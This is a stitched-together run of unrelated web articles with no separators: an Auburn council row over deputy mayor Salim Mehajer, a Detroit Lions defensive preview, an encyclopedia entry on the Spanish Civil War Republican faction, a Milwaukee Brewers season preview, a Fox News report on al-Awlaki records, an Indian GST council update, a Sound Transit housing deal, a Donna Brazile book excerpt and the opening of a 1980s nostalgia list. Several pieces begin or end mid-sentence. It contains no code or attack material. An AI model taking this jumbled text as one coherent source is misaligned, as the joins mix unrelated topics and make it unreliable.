I will not be resigning and I will not allow anyone into forcing me resign unjustly. Auburn deputy mayor Salim Mehajer
"They couldn't vote on the actual development applications when they came before council, but they've been able to manoeuvre changes that are certainly favourable for them in the future."
The State Government has now repealed those laws, introducing changes into NSW Parliament yesterday.
"We said we would review Section 451 of the Act again to make sure councillors cannot vote on any matters where they have a pecuniary interest. We are acting on that promise," Local Government Minister Paul Toole said.
But the four councillors still want Cr Mehajer to resign.
Mr Campbell said he hoped some of the councillors who backed the deputy mayor so far would change their minds.
"One always lives in hope and I think there's a possibility that they will switch sides," he said.
Mehajer says developer job has nothing to do with council role
But the deputy mayor is standing firm.
"I will not be resigning and I will not allow anyone into forcing me to resign unjustly," Cr Mehajer said.
"It is evident that my performance is not in question. The call appears to be a hidden agenda to acquire my position."
He described tonight's extraordinary meeting as "just one of their many vile tactics" and said his job as a developer had nothing to do with his role on council.
"All the properties I have purchased in my local government area were purchased years before I was appointed a councillor for Auburn," he said.
Mr Toole is sending a representative to tonight's meeting but he said at the moment it was still a matter for the council to resolve.
"The councillors are elected for a four-year period and they'll have an opportunity next year in September to either return those councillors or vote for a new councillor to elect them," he said.
The council elections are a year away but Auburn council will vote on their mayor and deputy mayor by the end of this month.
Topics: local-government, auburn-2144, sydney-2000, nsw
First postedALLEN PARK -- Under former coach Jim Schwartz, the Detroit Lions' defense was designed to be interchangeable, favoring left and right designations for the safeties, linebackers and defensive ends, instead of traditional positions such as weakside linebacker and free safety. The idea was each player should be versatile enough to handle all the potential responsibilities of their position.
The Lions will continue to value defenders with well-rounded skill sets, but new coordinator Teryl Austin intends to bring back the traditional positions. The team added veteran James Ihedigbo via free agency to serve as the strong safety, moving Glover Quin into the free safety role.
While it's still up for debate, it's expected second-round draft pick Kyle Van Noy will handle strongside linebacker responsibilities because of his extensive pass-rushing success at BYU, while DeAndre Levy, coming off a six-interception campaign, will slide into the weakside spot.
Following the conclusion of the 2014 NFL draft, general manager Martin Mayhew also explained that the Lions will have two defensive end designations, sharing how he envisioned the team's current players fitting into those roles.
"We're going to play a closed end and open end this year," Mayhew said. "We'll have an end on the tight end side. He'll be on the closed side. He'll be a bigger, more-physical, Jason Jones-type of guy. Then on the open side, we'll have Ziggy (Ansah) over there, and we think Larry (Webster) has an opportunity to compete over there as well.
Webster, the team's fourth-round draft choice, recorded impressive measurables at the scouting combine, most notably his 4.58-second 40-yard dash, the second-fastest time recorded at his position.
The open side of the formation will be where Detroit can continue to incorporate the Wide-9 alignment. That positioning will allow Ansah and Webster to test opposing tackles with their speed and length in one-on-one situations.
It remains unclear where the Lions envision playing Devin Taylor, the roster's other big, rangy end. Like Ansah, Taylor has both exceptional speed for his size and the bulk and strength to excel against the run on the closed side of the formation.
We can also expect to see the Lions run more five-man fronts this year, with a linebacker, likely Van Noy, in a two-point stance at the line of scrimmage, next to the closed end to the strongside of the formation.
-- Download the Detroit Lions MLive app for iPhone and Android
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-- Like MLive's Detroit Lions Facebook pageThe Republican faction (Spanish: Bando republicano), also known as the Loyalist faction (Spanish: Bando leal or bando gubernamental), was the side in the Spanish Civil War of 1936 to 1939 that supported the established government of the Second Spanish Republic against the far-right Nationalist or rebel faction of the military rebellion.[1] The name Republicans (republicanos) was mainly used by its members and supporters, while its opponents used the derogatory term Rojos (reds) to refer to this faction.[1]
Participants [ edit ]
Political groups [ edit ]
Popular Front [ edit ]
Popular Front
Nationalists [ edit ]
Not to be confused with "Nacionales", one of the names adopted by the rebel faction.
Basque [ edit ]
Catalan [ edit ]
Catalonia
Unions [ edit ]
UGT [ edit ]
UGT
Military [ edit ]
People's Republican Army [ edit ]
In October 1936 the republican government in Vitoria began a reorganization process of the fragmented army. The self-denominated People's Republican Army (Spanish: Ejército Popular de la República, EPR) consisted of those Spanish Republican Army units that had remained loyal to the Republic and militia members who were integrated into the new structure.
Other branches [ edit ]
The International Brigades and other foreign volunteers [ edit ]
International Brigades
At least 40,000 individual volunteers from 52 nations,[4] usually socialists, communists or anarchists, fought for the Republican side.
The vast majority of these, an estimated 32,000 men and women,[5] served in the International Brigades, organized in close conjunction with the Comintern.
About another 3,000 foreign volunteers fought as members of militias belonging to the anarcho-syndicalist labor/trade union CNT and the anti-Stalinist Marxist POUM.[5] Those fighting with POUM included one of the most famous veterans of the war, George Orwell.[6]
Regional armies [ edit ]
Basque Country
Direct foreign support [ edit ]
Mexico [ edit ]
Mexico supported fully and publicly the claim of the Madrid government and the Republicans. Mexico refused to follow the Anglo-French non-intervention proposals. President Lázaro Cárdenas saw the war as similar to Mexico's own revolution although a large part of Mexican society wanted a Nationalist victory. Mexico's attitude gave immense moral comfort to the Republic, especially since the major Latin American governments—those of Argentina, Brazil, Chile, and Peru—sympathized more or less openly with the Nationalists. But Mexican aid could mean relatively little in practical terms if the French border were closed and if Nazi Germany and Fascist Italy remained free to supply the Nationalists with a quality and quantity of weapons far beyond the power of Mexico.
Mexico furnished $2,000,000 in aid and provided some material assistance, which included a small number of American-made aircraft such as the Bellanca CH-300 and Spartan Zeus that had previously served in the Mexican Air Force. Not all of these aircraft reached the Republicans.
Soviet Union [ edit ]
The Soviet Union primarily provided material assistance to the Republican forces. In total the USSR provided Spain with 806 planes, 362 tanks, and 1,555 artillery pieces.[7] The Soviet Union ignored the League of Nations embargo and sold arms to the Republic when few other nations would do so; thus it was the Republic's only important source of major weapons. Joseph Stalin had signed the Non-Intervention Agreement but decided to break the pact. However, unlike Hitler and Mussolini who openly violated the pact, Stalin tried to do so secretly.[8] He created a section X of the Soviet Union military to head the operation, coined Operation X. However, while a new branch of the military was created especially for Spain, most of the weapons and artillery sent to Spain were antiques. Stalin also used weapons captured in past conflicts.[9] However, modern weapons such as BT-5 tanks[10] and I-16 fighter aircraft were also supplied to Spain.
Many of the Soviet deliveries were lost, or were smaller than Stalin had ordered. He only gave short notice, which meant many weapons were lost in the delivery process.[8] Lastly, when the ships did leave with supplies for the Republicans, the journey was extremely slow. Stalin ordered the builders to include false decks in the design of ships. Then, once the ship left shore it was required to change its flag and change the color of parts of the ship to avoid capture by the Nationalists.[8] However, in 1938, Stalin withdrew his troops and tanks as Republican government policy floundered. Historian Hugh Thomas comments "had they been able to purchase and transport good arms from US, British, and French manufacturers, the socialist and republican members of the Spanish government might have tried to cut themselves loose from Stalin".[11]
The Republic had to pay for Soviet arms with the official gold reserves of the Bank of Spain, in an affair that would become a frequent subject of Francoist propaganda afterward (see Moscow Gold). The cost to the Republic of Soviet arms was more than US $500 million (in 1936 prices); the entire of Spain's gold reserve, the fourth-largest in the world. 176 tonnes was transferred through France.[12]
The Soviet Union also sent a number of military advisers to Spain (2,000[13]–3,000[14]).[15] While Soviet troops amounted to no more than 500 men at a time, Soviet volunteers often operated Soviet-made Republican tanks and aircraft, particularly at the beginning of the war.[16] In addition, the Soviet Union directed Communist parties around the world to organize and recruit the International Brigades. Another significant Soviet involvement was the pervasive activity of the NKVD all along the Republican rearguard. Communist figures like Vittorio Vidali ("Comandante Contreras"), Iosif Grigulevich and, above all, Alexander Orlov led those not-so-secret operations, that included murders like those of Andreu Nin and José Robles.
Ambivalent support [ edit ]
France [ edit ]
The French position towards the Spanish Republic was characterized by its hesitant attitude and its ambivalence. Thus the government of France did not send direct support to the Spanish Republicans and towards the end of the beleaguered republic ended up turning against it, instead recognizing the Francoist State. President Albert Lebrun opposed direct assistance, but the left-wing government of French Prime Minister Léon Blum was sympathetic to the Republic.[17] Blum considered both sending military aid and technology to the Republicans including aircraft and utilizing the French Navy to blockade the Franco-led Spanish Army of Africa from crossing from Spanish Morocco to Spain.[18] Also upon the outbreak of civil war the Spanish Republican government and the government of France in diplomatic messages discussed a potential transfer of French aircraft to Spanish Republican forces.[18]
The Blum government feared that the success of Francoist forces in Spain would result in the creation of an ally state of Nazi Germany and Fascist Italy that would allow German and Italian military forces to be based in the Canary and Balearic Islands.[18] Right-wing politicians, however, heard of the French government's intention to send military support to the Spanish Republicans in the war and opposed the French government's actions by means of a vicious campaign against the Blum government for its alleged support of the Republicans.[19]
On 27 July 1936, British officials had discussed with Prime Minister Blum their position on the war and convinced Blum not to send arms to the Republicans.[20] Therefore, on 27 July, the French government declared that it would not send military aid, technology, or forces.[21] However Blum made clear that France reserved the right to provide aid should it wish, and indicated also indicated his support for the Republic, saying:
We could have delivered arms to the Spanish Government [(Republicans)], a legitimate government...We have not done so, in order not to give an excuse to those who would be tempted to send arms to the rebels. Blum, 1936.[22]
On 1 August 1936, a pro-Republican rally of 20,000 people confronted Blum demanding that he send aircraft to the Spanish Republicans at the same time as right-wing politicians attacked Blum for supporting the Republic and being responsible for provoking Fascist Italian intervention on the side of Franco.[22]
Nazi Germany informed the French ambassador in Berlin that Germany would hold France responsible if it supported what it described as "the maneuvers of Moscow" by supporting the Spanish Republicans.[23] Finally, on 21 August 1936, France, the UK, and Italy (under pressure from both France and the UK) signed the Non-Intervention proposals involving the Spanish Civil War.[23]
However, the Blum government provided military assistance to the Spanish Republicans through covert means by supplying obsolete Potez 54, Dewoitine and Loire 46 aircraft to the Spanish Republican Air Force from 7 August 1936 to December of that year.[24] Often with their weapons removed, these almost useless and vulnerable planes rarely survived three months of air missions.[25] Also, until 8 September 1936, aircraft could freely pass from France into Spain if they were bought in other countries.[26]
Although the half-hearted and largely ineffective support by France to the Republicans ended in December 1936, German intelligence reported to Franco and his faction that the French military was engaging in open discussions about intervention in the war.[27] Allegedly in 1938 Franco feared an immediate French intervention against a potential Francoist victory in Spain through French occupation of Catalonia, the Balearic Islands, and Spanish Morocco.[28]
Towards the end of the Civil War, most seagoing vessels of the Spanish Republican Navy were evacuated to Bizerte in the French protectorate of Tunisia where the fleet was impounded by the French authorities and later handed over to the Francoist faction.[29] Except for a few crewmen who were put on guard duty on the ships, the Spanish Republican seamen and their officers were interned in a concentration camp at Meheri Zabbens.[30] Defeated members of other branches of the Spanish Republican Armed Forces who escaped were arrested by French authorities and interned in concentration camps in Southern France, such as the Camp de concentration d'Argelès-sur-Mer which at one time held about 100,000 defeated Spanish Republicans. From there some managed to go into exile or went to join the armies of the Allies to fight against the Axis powers,[31] while others ended up in Nazi concentration camps.[32]
See also [ edit ]This week, SI.com is previewing all 30 MLB teams, counting down to the No. 1 team in the league. At No. 23: the Milwaukee Brewers.
2014 Record and Finish: 82–80 (.506), third place in NL Central (15th overall)
2015 Projected Record and Finish: 74–88 (.457), fourth place in NL Central (23rd overall)
The Case For
Last season, the Brewers held first place from early April through the end of August, only to be undone by a 9-17 September. They had a relatively quiet winter, but did substantially upgrade a league-worst first base spot by trading for the Blue Jays' Adam Lind (more on which below). Quite rightly, they can also expect better from Jean Segura—who hit just.246/.289/.326 amid a nightmare season that included the death of his infant son—and from Ryan Braun, who hit a career-worst.266/.324/.453 and battled numerous injuries, including a nerve problem in his right thumb that required offseason cryotherapy.
Amid a solid supporting cast of players such as outfielder Khris Davis, second baseman Scooter Gennett and third baseman Aramis Ramirez, Milwaukee has catcher Jonathan Lucroy and centerfielder Carlos Gomez, two of the league's top up-the-middle players. Both are capable of repeating last year’s All-Star honors, with Lucroy positioned to earn MVP consideration thanks to his strong work at the plate and behind it.
The Case Against
Over the winter, the Brewers traded staff mainstay Yovani Gallardo and swingman Marco Estrada, but they didn't add another starter of note. Thus, the depth of a unit that was just ninth in ERA (3.69) and tied for seventh in WAR (11.4) will be tested, given that Mike Fiers and Jimmy Nelson—a pair who combined for 22 starts last year—are full-timers, with command-challenged 2011 first-round pick Taylor Jungmann as the top alternative.
Beyond that, Braun is now on the dark side of 30, with back-to-back seasons that were nowhere near MVP caliber due to injuries and his Biogenesis suspension; the injury-prone Ramirez is being counted upon to supply significant offensive firepower; and both Segura and Gennett fell so far from 2013 to '14 that it's just not clear what to expect from the pair.
AL Breakout Players | NL Breakout Players | AL Busts | NL Busts
Morry Gash/AP
X-Factor: Mike Fiers
As a 27-year-old rookie, Fiers gave Milwaukee a shot in the arm in 2012, delivering a 3.74 ERA (110 ERA+) with 9.5 strikeouts per nine in 22 starts and one relief appearance after arriving in late May. He couldn't replicate that in 2013; a 7.25 ERA through his first 22 1/3 innings sent him back to the minors, where he wound up missing more than half the season due to a batted ball-induced forearm fracture. He spent more than half of last season at Nashville, but sparkled upon being recalled in August, delivering a 2.09 ERA with 9.9 strikeouts per nine across 10 starts, seven of them quality starts.
Now Fiers is being counted on to deliver upon the promise of those two partial seasons as a full-fledged member of the rotation, one that could certainly stand to miss more bats. On a per plate appearance basis, Fiers and Estrada were the only Brewers starters to exceed the 19.5% strikeout rate of NL starters as a group. A soft-tosser whose fastball tops out in the low 90s, Fiers is prone to getting out of sync with his delivery. If he can keep it together, he'll give the team a solid fourth starter behind Kyle Lohse, Wily Peralta and Matt Garza, but if not, Milwaukee's lack of depth will be exposed.
Number To Know:.207/.287/.356
That's what the Brewers got from Mark Reynolds, Lyle Overbay and the rest of their first basemen last year, a showing that ranked dead last in the NL in all three slash-stat categories, and one no better than the.206/.259/.370 they received from a cast that included undead retreads Juan Francisco, Yuniesky Betancourt and Alex Gonzalez in 2013. Reynolds and Overbay are gone in favor of Lind, who hit a sizzling.321/.381/.479 in '14, albeit in just 318 PA; lower back tightness and a stress fracture in his right foot cost him eight weeks on the disabled list.
Lind, a 31-year-old lefty, is no great shakes defensively, with -6 Defensive Runs Saved per 1,200 innings in his career, but he's put together two strong seasons in a row after a three-year drought across which he hit just.246/.296/.428. He'll need a platoon partner, whether it's Lucroy or backup catcher Martin Maldonado taking a day off of catching or minor league masher Luis Jimenez (.286/.321/.505 with 21 homers at Salt Lake City) filling in. However it works out, the team should enjoy significant improvement at first base.
• FANTASY BASEBALL PREVIEW: Draft kit | Top 250 players | Player profiles
Scout's Takes
Most Overrated: Scooter Gennett
“The consistency and quality of his at-bats just isn't quite there. He’s a streaky hitter who's got just enough power to get himself in trouble because he can hit one out, but he starts overswinging. He can be a little mechanical around second base; he's worked hard to try to improve his defense, but he's not ideal there.”
Most Underrated: Jonathan Lucroy
“He's is one of the best catchers in baseball, offensively and defensively. I know a lot of people know about him, but if he were with the Yankees or Red Sox, he would be valued more highly.”While the New Mexico-born cleric, Anwar al-Awlaki, is the first American on the CIA's kill or capture list, the U.S. State Department refuses to release documents about al-Awlaki citing his right to privacy. This disconnect was uncovered as part of the ongoing investigation by Fox News' Specials Unit into the cleric who is a leader of a major Al Qaeda affiliate.
Through the Freedom of Information Act (FOIA) in March 2010, Fox News requested "....any and all records maintained by the United States Department of State, in the passport file...." for the cleric. Initially, the request was referred to Human Resources at the State Department, before a formal response was issued more than a year later, in August 2011. The letter reads in part :
"The Department of State, Passport Services has reviewed your request and has given full consideration to the reasons provided. However, we have determined that your request must be denied. This denial is pursuant to subsection (b)(6) of the Freedom of Information Act. The release of this information to you would be an invasion of personal privacy of another person, without written authorization from that person."
The government refused to release the records for the terror leader who is well known to be the first American that the U.S. government has green-lighted to be killed or captured.
After 9/11, Anwar Al-Awlaki was a tier one, priority target for the Joint Terrorism Task Force (JTTF) in San Diego because of his known contacts with the hijackers. A State Department agent assigned to the JTTF, Ray Fournier, put together an arrest warrant for passport fraud in 2002. As part of that fraud, al-Awlaki lied on his Social Security application claiming he was born in Yemen, not New Mexico. At the time, there was not enough firm evidence to link the cleric to 9/11, so the passport fraud case was seen as a holding charge.
In addition, as Fox News was first to report in its special "The American Terrorist," the cleric fraudulently obtained $20,000 in scholarship money to fund his college education in Colorado. Al-Awlaki, who is a dual U.S./Yemeni national, claimed to be a foreign student. As an American citizen, the cleric was not entitled to the scholarship paid for by the U.S. taxpayer. According to the agent who handled the case, the documents still exist and are held by the State Department.
The denial of State Department documents is part of an ongoing pattern. In 2010, through the Freedom of Information Act, Fox News sought an FBI intelligence report, also known as an EC, that was written about the cleric and his radical ties two days before the cleric mysteriously entered the U.S. in October 2002 and the arrest warrant for passport fraud was pulled by the Justice Department. When the 27 page EC was produced by the FBI, all of the pages were redacted, citing national security and an executive order -- most likely, the warrantless wiretapping program.
Both the Justice Department and FBI have refused Fox News' requests and resisted calls from Congress to explain why the cleric was able to slip through the grasp of federal agents just one year after the 9/11 attacks. On Oct. 10, 2002, Al-Awlaki was held by Customs agents at JFK International airport for three hours until an FBI agent, Wade Ammerman, ordered the cleric's release, even though there was an active warrant for al-Awlaki's arrest on passport fraud.
Despite repeated requests, the FBI has refused to make agent Ammerman available for questions. The bureau has not disputed Fox News' reporting that the FBI was trying to cultivate the cleric as an intelligence asset or, that at the very least, agents wanted to follow the cleric to gather intelligence.
Last winter, as part of the Fox News special "Secrets of 9/11," Fox News asked the Defense Department to provide all documents, video or still photos of the cleric's lunch at the Pentagon in February 2002. Fox News was first to report that the cleric was hosted by the Office of General Counsel as part of the military's outreach to moderate Muslims. In 2002, there was virtually no vetting of the cleric who had contact with three of the five hijackers on Flight 77 that slammed into the Pentagon. At the time, al-Awlaki had already been interviewed at least four times by the FBI because of his suspicious contacts with the hijackers.
The Defense Department FOIA request produced only one email -- where almost all of the names of those invited to the event were redacted -- once again citing an invasion of personal privacy.
This summer, the House Homeland Security Committee launched an official investigation into the cleric -- whether he was an overlooked key player in the plot and whether he was an Al Qaeda operative from the beginning. The mainstream narrative is that al-Awlaki was radicalized after 2001, but the Fox News investigation "Secrets of 9/11" first broadcast in May presents a compelling case that the cleric was at the center of a pre-9/11 support network.
Newly declassified documents, exclusive interviews, phone and banking records leave little doubt that the cleric's contacts with the two hijackers, Nawaf al-Hazmi and Khalid al-Mihdhar in San Diego, and pilot Hani Hanjour in Virginia were not a series of coincidences but rather evidence of a purposeful relationship. While House Homeland Security Committee Chairman Peter King, R-N.Y., set a deadline of June 17 for the materials and witnesses to be produced, a Justice Department spokesman told Fox News in August the request is still being worked on.
Anwar al-Awlaki and his contacts with the first two hijackers to enter the U.S. in January 2000 are central to the plot. It was at al-Awlaki's mosque in a rundown neighborhood of San Diego where the three men met on a regular basis. A new book by former FBI interrogator Ali Soufan is at the center of a reported dispute with the CIA. Published reports state the book will blame the CIA missed an opportunity to disrupt the plot by failing to provide information to the FBI.
Fox News' Special Unit continues to investigate the cleric and its updated special "Secrets of 9/11" will be broadcast in advance of the 9/11 anniversary.
National Correspondent Catherine Herridge's bestselling book "The Next Wave: On the Hunt for al Qaeda's American Recruits" was published by Crown on June 21st. It draws on her reporting for Fox News into al-Awlaki and his new generation of recruits - al Qaeda 2.0. It is the first book to full investigate al-Awlaki's American life, his connections to the hijackers, and how the cleric double crossed the FBI after 9/11.ADVERTISEMENT
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HYDERABAD: The Goods and Services Tax Council on Saturday raised the cess on motor vehicles--mid-size cars, large cars and sports utility vehicles by 2%, 5% and 7% respectively instead of whole 10% increase effected in the law, while keeping the overall tax incidence within 50%.This increase in cess rate would take the overall tax incidence on mid size cars to 45%, large cars to 48% and SUVs to 50% from 43%( 28% GST+ 15% cess) now.Industry had pitched for differential hike --lower increase for mid-sized cars arguing that this price increase in this segment would impact middle class.The GST Council had at its last meeting approved a proposal for an amendment in the compensation law to raise the cess to 25% from 15%. The industry, which had cut prices in the high-end segment after GST roll out, opposed an across the board increase in cess. There is no change in cess rate for hybrid vehicles, 13 seaters and small cars.The council cut GST rate for Walnuts, broom, clay idols custard powder, idly-dosa batter, rubber bands, raincoat, dhoop batti, saree fall, corduroy fabric, computer monitors, table and kitchenware, prayer beads. Khadi sold at KVIC outlets and clay idols have been exempted from the levy of GST, which replaced 40 state and central taxes and cesses.The Council gave a breather to the industry struggling to meet the return filing deadline as the GSTN portal face hiccups due to heavy load.The GSTR1, which was to be filed by September 10, can be filed till October 10 by smaller businesses and large ones by October 3.Also for easier compliance, the Council has allowed businesses to file Simplified GSTR-3B for four more months till December.Revenue Secretary Hasmukh Adhia said Companies with turnover of over Rs 100 crore the last date for filing GSTR1 will be October 3 and for the rest it will be October 10. Filing of GSTR-2 for July will have to be done by October 31, and GSTR-3 by November 10. " For GSTR-1,2,3 we are giving a long rope and we are staggering the return filing date for July," Adhia said.Date of GSTR 1, 2, 3 return filing for month of August will be communicated later, he said.Adhia said the Tran1 form will be allowed to be amended.Till Friday over 45 lakhs GSTR-3B, 17 lakhs GSTR-1 and over 13 crore invoices have been filed on GSTN portal. Earlier this week, The date of final return filing for GSTR-1 was first extended to September 10 in view of rush in invoice uploading instead of September 5 earlier. Purchase returns or GSTR-2 was required to be filed by September 25 instead of September 10 earlier. GSTR-3 which is the match of GSTR-1 and GSTR-2 was needed to be filed by September 30, in place of September 15.The Council also decided to set up an group of ministers to review the functioning of GSTN. "The council has decided to set up a committee of ministers for interaction with the GSTN for smooth transition," finance minister Arun Jaitley said. Its composition will be given later, he said.The minister, who is the chairman of the council, said the council reviewed implementation of the new tax regime and held a detailed presentation on on migration of tax payers from the old regime to new regime. It also reviewed the revenue collections."overall revenue collections have been robust with more than 70% of taxpayers having filed their returns," the minister said adding that there is large unutilised tax credit.The issue of avoidance of 5% GST on pulses, cereals and flours, put up in unit container and bearing a registered brand name, was also discussed by the GST Council. Any brand registered on May 15, 2017 irrespective of whether it is de-registered later will face 5% tax.A mark or name in respect of which an actionable claim is available shall also be deemed to be a registered brand name and face 5% GST, a provision that could bring in-house brands of large retailers in the 5% tax bracket.Handicraft traders who sell to other states will not have to register if their turnover is below Rs 20 lakh.Jaitley said GST on about 30 items have been lowered after anomalies in the fixation of rates were pointed out.To deal with businesses which are deregistering brands post GST to avoid taxes, the panel decided May 15, 2017 as the cut-off date for considering as a registered brand for the purpose of GST levy, irrespective of whether or not the brand is subsequently deregistered.Unbranded food items are exempted from the GST, whereas branded and packaged food items attract 5 per cent rate. Hence, many businesses are deregistering their brands to avoid the levy.The tax has been lowered on dried tamarind, custard power, oil cakes, dhoop batti, dhoop and other similar items, plastic raincoast, rubber bands, rice rubber rolls for paddy de-husking, computer monitors and kitchen gas lighters and brooms and brushes.Also, the deadline for filing of sales return or GSTR-1 for the month of July, the first month of implementation of the new tax regime, has been extended by a month to October 10.Deadlines for other three returns to be filed under the GST regime have also been extended.Jaitley said overall GST collections have been robust with over 70 per cent of eligible taxpayers filing returns of about Rs 95,000 crore.The meeting, the second since the implementation of GST, reviewed the functioning of GST Network -- the IT backbone and portal for registration and tax returns under the GST regime.GSTN on "two-three occasions got overloaded. These are transient challenges and glitches in technology. The council has decided to appoint a committee to interact with GSTN for smooth transition", the finance minister said.Since the work is huge, the period of filing of returns has been extended, he said.Jaitley further said that food stuff sold in open was categorised at zero per cent tax rate while the branded ones attracted 5 per cent.Some businesses were deregistering their brands and selling under corporate brand name, creating inequality of trade, "so we amended the rule", he said."If you fall in either of two categories, you will pay 5 per cent tax -- one, if on May 15, 2017, you had a registered trade mark you have to pay 5 per cent GST. Two, if you have a mark or a name on which you are entitled to maintain actionable claim or exclusivity, then you have to pay 5 per cent," Jaitley added.Khadi fabric sold through KVIC stores would be exempted, he said adding inter-state sales where turnover is less than Rs 20 lakh as also for artisans will not need registration.Similar dispensation for certain categories of job work, excluding gold, has also been approved.At its last meeting on August 5, the panel had approved hike in cess on mid, large size cars, SUVs, hybrid and luxury ones to up to 25 per cent, from 15 per cent. Subsequently, an Ordinance promulgated and the council today looked into the quantum of hike.Car prices had dropped by up to Rs 3 lakh as the tax rates fixed under the GST that came into effect from July 1, was lower than the combined central and state taxes in the pre-GST days.To fix this anomaly, the council raised the cess.Revenue Secretary Hasmukh Adhia said the council has decided that GSTR-3B will be filed for four more months till December."For GSTR-1, 2, 3, we are giving a long rope and we are staggering the return filing date for July," he said."(For) companies with turnover of over Rs 100 crore, the last date for filing GSTR-1 will be October 3. For the rest, it will be October 10," he said.GSTR-2 for July will have to be filed by October 31 and GSTR-3 by November 10.Date of GSTR 1, 2, 3 return filing for month of August will be informed later.Jaitley said businesses can opt for Composition Scheme till September 30 and the council has also allowed businesses to make rectification in transition form TRAN-1 once.Under the GST, which replaced over a dozen central and state levies in the biggest tax reform since independence, cars attract the top tax rate of 28 per cent.On top of this, a cess of 1 to 15 per cent has been levied for the creation of a corpus to compensate states for any loss of revenue from implementation of GST.Sound Transit strikes deal for housing, retail near Capitol Hill station
The exterior of the new Capitol Hill light rail station is seen during a Sound Transit-hosted first-look ride for the media from the University of Washington station to the Capitol Hill station, Tuesday, March 15, 2016. New housing will be built on nearby land that was used for construction of the station. less The exterior of the new Capitol Hill light rail station is seen during a Sound Transit-hosted first-look ride for the media from the University of Washington station to the Capitol Hill station, Tuesday, March... more Photo: GENNA MARTIN, SEATTLEPI.COM Photo: GENNA MARTIN, SEATTLEPI.COM Image 1 of / 1 Caption Close Sound Transit strikes deal for housing, retail near Capitol Hill station 1 / 1 Back to Gallery
Sound Transit's board on Thursday approved a deal to lease land near the Capitol Hill light rail station that will be developed into more than 300 new apartments on top of retail space.
The $19 million deal will see the land, formerly used to build the station at Broadway East and East John Street, leased for 99 years to developer Gerding Edlen, according to a news release from Sound Transit. Twenty-one percent of the new units will be affordable housing for those making 65 to 85 percent of area median income (between about $52,000 and $69,000 for a family of three).
RELATED: First look: University light rail extension readies |
6 national convention, Brazile stepped in to lead the organization and discovered its finances were a mess.
She also fulfilled a promise she made to Clinton’s main campaign rival, Sen. Bernie Sanders.
“I had promised Bernie when I took the helm... that I would get to the bottom of whether Hillary Clinton’s team had rigged the nomination process, as a cache of emails stolen by Russian hackers and posted online had suggested,” she wrote.
Supporters of Sen. Bernie Sanders have long complained the Democratic nomination process was rigged. Image by: Brian Snyder/Reuters
And in a matter of months she found the evidence she hoped she never would.
Clinton's campaign, DNC funded research in Trump dossier: report
“By September 7, the day I called Bernie, I had found my proof and it broke my heart,” she wrote, referring to Clinton’s rival, Sen. Bernie Sanders.
Brazile in the excerpt described finding an August 2015 agreement between the Clinton campaign, Clinton’s joint fundraising committee and the DNC that “specified in exchange for raising money and investing in the DNC, Hillary would control the party’s finances, strategy, and all the money raised.”
The agreement was made in part to financially revive the party, which had been in debt since the 2012 reelection of President Barack Obama, according to Brazile.
She said she was stunned to find out their funding was in such shambles.
Fox News wants lawsuit involving story on DNC staffer tossed
“I am an officer of the party and they’ve been telling us everything is fine and they were raising money with no problems,” she wrote.
RELATED GALLERY
Gina Haspel speaks after being sworn in as the Director of the Central Intelligence Agency as President Donald Trump and Vice President Mike Pence applaud in Langley, VA on May 21, 2018. ▲ Gina Haspel is sworn in as the Director of the Central Intelligence Agency alongside Trump and Secretary of State Mike Pompeo during a ceremony at CIA Headquarters in Langley, VA on May 21, 2018. ▲ President Donald Trump and First Lady Melania Trump walk with former North Korean detainees Tony Kim, Kim Hak Song and Kim Dong Chul following their release on May 10, 2018 at Joint Base Andrews outside Washington D.C. The three had been detained for more than a year. ▲ President Donald Trump speaks to the media on the return of the Tony Kim, Kim Hak Song and Kim Dong Chul on May 10, 2018. "We very much appreciate that [Kim Jong Un] allowed them to go before the meeting," he said. "Frankly we didn't think this was going to happen and it did." Secretary of State Mike Pompeo had flown out to North Korea earlier in the week to finalize the details. ▲ Kim Dong Chul throws up a peace sign upon his return to America after he was freed from North Korea, along with Tony Kim and Kim Hak Song, on May 10, 2018. ▲ President Donald Trump officially pulled the U.S. out the Iran nuclear deal on May 8, 2018, reinstating sanctions against the country. The deal, drafted in 2015, did away with most sanctions against Iran in return for the country restricting their nuclear program allowing for the production of bombs; also included in the deal was Russia, China, the United Kingdom, France, and Germany. Trump has repeatedly condemned the deal as "the worst ever." "The Iran deal is defective at its core," he also stated in his White House address prior to signing off on the document reinstating sanctions. "If we do nothing, we know exactly what will happen." ▲ President Donald Trump congratulated Pilot Tammie Jo Shults, who has been hailed a hero for landing Southwest Airlines Flight 1380 after it experienced engine failure, during a meeting with crew members and passengers of the flight in the Oval Office on May 1, 2018. ▲ President Donald Trump posed with children of the White House staff and media in the Oval Office on "Take Our Daughters And Sons To Work Day" on April 26, 2018. ▲ Continue to Full Gallery
But Obama left the party $24 million in debt, and the offer of Clinton campaign cash apparently proved an easy solution for Wasserman Schultz.
“Debbie was not a good manager. She hadn’t been very interested in controlling the party — she let Clinton’s headquarters in Brooklyn do as it desired so she didn’t have to inform the party officers how bad the situation was,” Brazile wrote.
She pointed out the agreement was signed in August 2015 — long before Clinton earned the the presidential nomination. Brazile noted that while the deal was not illegal, “it sure looked unethical.”
“If the fight had been fair, one campaign would not have control of the party before the voters had decided which one they wanted to lead,” she wrote. “This was not a criminal act, but as I saw it, it compromised the party’s integrity.”
The excerpt concludes with Brazile’s explaining what she found to a “stoic” Sanders over the phone. She recounted how she urged Sanders to push his followers toward Clinton and continue to fight as the “alternative was a person who would put the very future of the country in peril.
“When I hung up the call to Bernie, I started to cry, not out of guilt, but out of anger,” Brazile wrote.
Donna Brazile's book is scheduled for release on Nov. 7. Image by: Paul Sancya/AP
In an interview on CNN, Sen. Elizabeth Warren, a potential 2020 contender who was considered as Clinton’s running mate, was asked if she agreed with Brazile that the DNC had “rigged” the system against Sanders. “Yes,” she answered.
A rep for Clinton declined comment to CNN.
Sanders' former campaign chair Jeffrey Weaver told the network "The behavior the DNC engaged in was egregious, undemocratic and it can't be allowed to happen again."
President Trump crowed about Brazile’s allegations against “Crooked H.”
“This is real collusion and dishonesty,” he wrote. “Major violation of Campaign Finance Laws and Money Laundering — where is our Justice Department?”It doesn’t matter when you were born, everyone seems to have an affinity with a certain decade, although it is more often than not the one which occurs during adolescence that leaves the biggest imprint and the seemingly happiest memories.
It may have been the time when you discovered just what having a crush on someone felt like – or even worse, finding out that the feelings are not reciprocated.
It is normally a time when your hormones are all over the place, rash and spontaneous decisions make perfect sense and a time when you were going through the rebellious stage that was probably a nightmare for your parents.
While all of these things may have happened – some more extremely than others – they ran their course and promptly dissolved into the annals of memory.
These memories, no matter how deeply stored, can be immediately sparked by the mere sight or sound of something that they instantly recognise as a blast from the past.
With this in mind, here are just a few things that might act as a trigger for anyone who was a child or young adult of the 1980s.
Trivial Pursuit
